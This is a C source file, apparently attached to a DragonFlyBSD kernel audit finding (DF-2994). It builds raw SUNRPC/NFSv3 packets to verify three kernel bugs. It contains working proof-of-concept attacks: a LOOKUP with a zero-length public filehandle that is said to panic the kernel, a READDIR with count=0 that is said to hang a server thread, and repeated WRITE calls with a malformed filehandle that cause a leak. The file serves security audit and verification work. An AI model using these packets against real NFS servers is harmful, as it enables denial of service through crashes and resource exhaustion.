DragonFlyBSD Kernel Audit
DF-2994 / nfspoc.c
← back to finding ↓ download raw
/*
 * nfspoc.c - raw SUNRPC/NFSv3 client for DF-2993/DF-2994/DF-2995 verification
 *
 * usage: nfspoc <cmd> [args]
 *   null                 - NFSv3 NULL ping (expect fast reply)
 *   mount                - get filehandle of exported dir via mountd
 *   readdir0 <fhhex> [n] - v3 READDIR with count=0  (DF-2993: no reply, thread spins)
 *   lookup0 <name>       - v3 LOOKUP with public fh (len=0)  (DF-2994: panic)
 *   writebadfh <n>       - n x v3 WRITE with fhlen=5  (DF-2995: leak, needs gatherdelay_v3>0)
 *
 * options env: NFSPOC_PORT (default 2049), NFSPOC_SRCPORT (default 0=ephemeral),
 *              NFSPOC_TIMEOUT (sec, default 3)
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <time.h>

static unsigned char buf[65536];
static int blen;
static u_int32_t xid = 0xabbaf00d;

static void
put32(u_int32_t v)
{
	buf[blen++] = v >> 24; buf[blen++] = v >> 16;
	buf[blen++] = v >> 8;  buf[blen++] = v;
}

static void
putbytes(const void *p, int n)
{
	memcpy(buf + blen, p, n);
	blen += n;
}

static void
putstr(const char *s)
{
	int n = strlen(s);
	put32(n);
	putbytes(s, n);
	while (n & 3) { buf[blen++] = 0; n++; }
}

/* filehandle: len + bytes + pad */
static void
putfh(const unsigned char *fh, int len)
{
	int i;
	put32(len);
	if (len > 0)
		putbytes(fh, len);
	for (i = len; i > 0 && (i & 3); i++)
		buf[blen++] = 0;
}

static int hexnib(char c)
{
	if (c >= '0' && c <= '9') return c - '0';
	if (c >= 'a' && c <= 'f') return c - 'a' + 10;
	if (c >= 'A' && c <= 'F') return c - 'A' + 10;
	return -1;
}

static int
hexdecode(const char *hex, unsigned char *out, int max)
{
	int n = 0;
	while (hex[0] && hex[1]) {
		int a = hexnib(hex[0]), b = hexnib(hex[1]);
		if (a < 0 || b < 0 || n >= max) return -1;
		out[n++] = (a << 4) | b;
		hex += 2;
	}
	return n;
}

/*
 * Build a full SUNRPC CALL. prog/vers/proc, args already appended by caller
 * via put* helpers after rpc_header().
 */
static void
rpc_header(u_int32_t prog, u_int32_t vers, u_int32_t proc)
{
	blen = 0;
	put32(++xid);		/* xid */
	put32(0);		/* CALL */
	put32(2);		/* rpcvers */
	put32(prog);
	put32(vers);
	put32(proc);
	/* auth_unix */
	put32(1);			/* flavor */
	put32(28);			/* len */
	put32(0);			/* stamp */
	putstr("poc");			/* machine (8 bytes with pad) */
	put32(0);			/* uid */
	put32(0);			/* gid */
	put32(1);			/* ngids */
	put32(0);			/* gid0 */
	/* verifier null */
	put32(0);
	put32(0);
}

static int sock_fd;

static int
mksock(void)
{
	struct sockaddr_in sin;
	int tv = atoi(getenv("NFSPOC_TIMEOUT") ? : "3");

	sock_fd = socket(AF_INET, SOCK_DGRAM, 0);
	if (sock_fd < 0) { perror("socket"); return -1; }
	memset(&sin, 0, sizeof(sin));
	sin.sin_family = AF_INET;
	{
		const char *sp = getenv("NFSPOC_SRCPORT");
		if (sp && atoi(sp) > 0) {
			sin.sin_port = htons(atoi(sp));
			if (bind(sock_fd, (struct sockaddr *)&sin, sizeof(sin)) < 0) {
				perror("bind src");
				return -1;
			}
		}
	}
	setsockopt(sock_fd, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));
	return 0;
}

static int
rpc_send_recv(int port)
{
	struct sockaddr_in sin;
	struct sockaddr_in from;
	socklen_t flen2 = sizeof(from);
	int n;

	memset(&sin, 0, sizeof(sin));
	sin.sin_family = AF_INET;
	sin.sin_port = htons(port);
	sin.sin_addr.s_addr = htonl(0x7f000001);
	if (sendto(sock_fd, buf, blen, 0, (struct sockaddr *)&sin, sizeof(sin)) < 0) {
		perror("sendto");
		return -1;
	}
	n = recvfrom(sock_fd, buf, sizeof(buf), 0, (struct sockaddr *)&from, &flen2);
	return n;	/* -1 timeout */
}

static u_int32_t
get32(const unsigned char *p)
{
	return (p[0] << 24) | (p[1] << 16) | (p[2] << 8) | p[3];
}

/* ------------------------------------------------------------------ */

static int
portmap_mountd(void)
{
	int n, port;
	rpc_header(100000, 2, 3);	/* GETPORT */
	put32(100005);			/* mountd */
	put32(3);			/* vers 3 */
	put32(17);			/* UDP */
	n = rpc_send_recv(111);
	if (n < 20) { fprintf(stderr, "portmap timeout/short (%d)\n", n); return -1; }
	port = get32(buf + 20 + 8);	/* reply hdr: xid,mtype,stat,verf(flavor,len),accept, port */
	port = get32(buf + 24);
	fprintf(stderr, "mountd port = %d\n", port);
	return port;
}

static int
do_mount(void)
{
	int mport, n, fhlen, off;
	static unsigned char fh[128];

	mport = portmap_mountd();
	if (mport <= 0) return -1;
	rpc_header(100005, 3, 1);	/* MOUNT v3 MNT */
	putstr("/tmp/nfsroot");
	n = rpc_send_recv(mport);
	if (n < 32) { fprintf(stderr, "mount timeout/short (%d)\n", n); return -1; }
	off = 24;			/* xid mtype astat verf(8) */
	/* reply_stat=0(accepted) at 4, verf 8, accept_stat 4 => data at 24? */
	/* layout: xid(4) reply(4) stat(4) verf_fl(4) verf_len(4) accept(4) = 24 */
	{
		u_int32_t status = get32(buf + 24);
		if (status != 0) {
			fprintf(stderr, "MNT status=%u\n", status);
			return -1;
		}
		fhlen = get32(buf + 28);
		if (fhlen < 0 || fhlen > 120) { fprintf(stderr, "bad fhlen %d\n", fhlen); return -1; }
		memcpy(fh, buf + 32, fhlen);
	}
	for (n = 0; n < fhlen; n++)
		printf("%02x", fh[n]);
	printf("\n");
	return 0;
}

static double
now_sec(void)
{
	struct timespec ts;
	clock_gettime(CLOCK_MONOTONIC, &ts);
	return ts.tv_sec + ts.tv_nsec / 1e9;
}

static int
do_null(int port)
{
	int n;
	double t0, t1;
	rpc_header(100003, 3, 0);	/* NFS v3 NULL */
	t0 = now_sec();
	n = rpc_send_recv(port);
	t1 = now_sec();
	if (n < 24) {
		printf("NULL: NO REPLY (%s) after %.2fs\n",
		       n < 0 ? "timeout" : "short", t1 - t0);
		return 1;
	}
	printf("NULL: reply %d bytes in %.4fs\n", n, t1 - t0);
	return 0;
}

static int
do_readdir0_UNUSED(const char *fhhex, int count)
{
	unsigned char fh[128];
	int fhlen = hexdecode(fhhex, fh, sizeof(fh));
	int i, n;
	if (fhlen <= 0) { fprintf(stderr, "bad fh hex\n"); return 2; }
	for (i = 0; i < count; i++) {
		rpc_header(100003, 3, 16);	/* READDIR */
		putfh(fh, fhlen);
		put32(0); put32(0);		/* cookie (hyper) = 0 */
		put32(0); put32(0);		/* cookieverf 8b */
		put32(0);			/* count = 0  <<< DF-2993 */
		n = rpc_send_recv(2049);
		printf("readdir0[%d]: %s\n", i,
		       n < 0 ? "timeout (no reply)" : "GOT REPLY (unexpected)");
		if (n >= 0)
			return 1;
	}
	return 0;
}

static int
do_readdir(const char *fhhex, int count, int reps)
{
	unsigned char fh[128];
	int fhlen = hexdecode(fhhex, fh, sizeof(fh));
	int i, n;
	if (fhlen <= 0) { fprintf(stderr, "bad fh hex\n"); return 2; }
	for (i = 0; i < reps; i++) {
		rpc_header(100003, 3, 16);	/* READDIR */
		putfh(fh, fhlen);
		put32(0); put32(0);		/* cookie (hyper) = 0 */
		put32(0); put32(0);		/* cookieverf 8b */
		put32(count);			/* count */
		n = rpc_send_recv(2049);
		printf("readdir(count=%d)[%d]: %s\n", count, i,
		       n < 0 ? "TIMEOUT (no reply)" :
		       (n >= 28 ? (get32(buf+24) ? "reply nfs-status!=0" : "reply OK") : "short reply"));
		if (n < 0 && count > 0)
			return 1;	/* legit count must get a reply */
	}
	return 0;
}

static int
do_lookup0(const char *name)
{
	rpc_header(100003, 3, 3);	/* LOOKUP */
	putfh(NULL, 0);		/* public file handle: len=0 */
	putstr(name);
	{
		int n = rpc_send_recv(2049);
		printf("lookup0(pub,'%s'): %s\n", name,
		       n < 0 ? "timeout (server dead?)" : "reply");
	}
	return 0;
}

static int
do_writebadfh(int count)
{
	unsigned char junkfh[8] = {1,2,3,4,5,6,7,8};
	int i, n;
	for (i = 0; i < count; i++) {
		rpc_header(100003, 3, 7);	/* WRITE */
		putfh(junkfh, 5);		/* fhlen=5 -> nfsm_srvmtofh returns -2 */
		put32(0); put32(0);		/* offset */
		put32(16);			/* count */
		put32(0);			/* stable */
		put32(16);			/* dup len (DFly 5-word header) */
		putbytes("AAAAAAAAAAAAAAAA", 16);
		n = rpc_send_recv(2049);
		if (n >= 24) {
			/* accept_stat at 20, nfs status at 24 */
			printf("write[%d]: reply status=%u\n", i, get32(buf + 24));
		} else {
			printf("write[%d]: no reply\n", i);
		}
	}
	return 0;
}

int
main(int argc, char **argv)
{
	if (argc < 2) {
		fprintf(stderr, "usage: %s null|mount|readdir0 fh|lookup0 name|writebadfh n\n", argv[0]);
		return 2;
	}
	if (mksock() < 0)
		return 2;
	if (!strcmp(argv[1], "null"))
		return do_null(2049);
	if (!strcmp(argv[1], "mount"))
		return do_mount();
	if (!strcmp(argv[1], "readdir"))
		return do_readdir(argv[2], atoi(argv[3]), argc > 4 ? atoi(argv[4]) : 1);
	if (!strcmp(argv[1], "readdir0"))
		return do_readdir(argv[2], 0, argc > 3 ? atoi(argv[3]) : 1);
	if (!strcmp(argv[1], "lookup0"))
		return do_lookup0(argc > 2 ? argv[2] : "/");
	if (!strcmp(argv[1], "writebadfh"))
		return do_writebadfh(atoi(argv[2]));
	fprintf(stderr, "unknown cmd\n");
	return 2;
}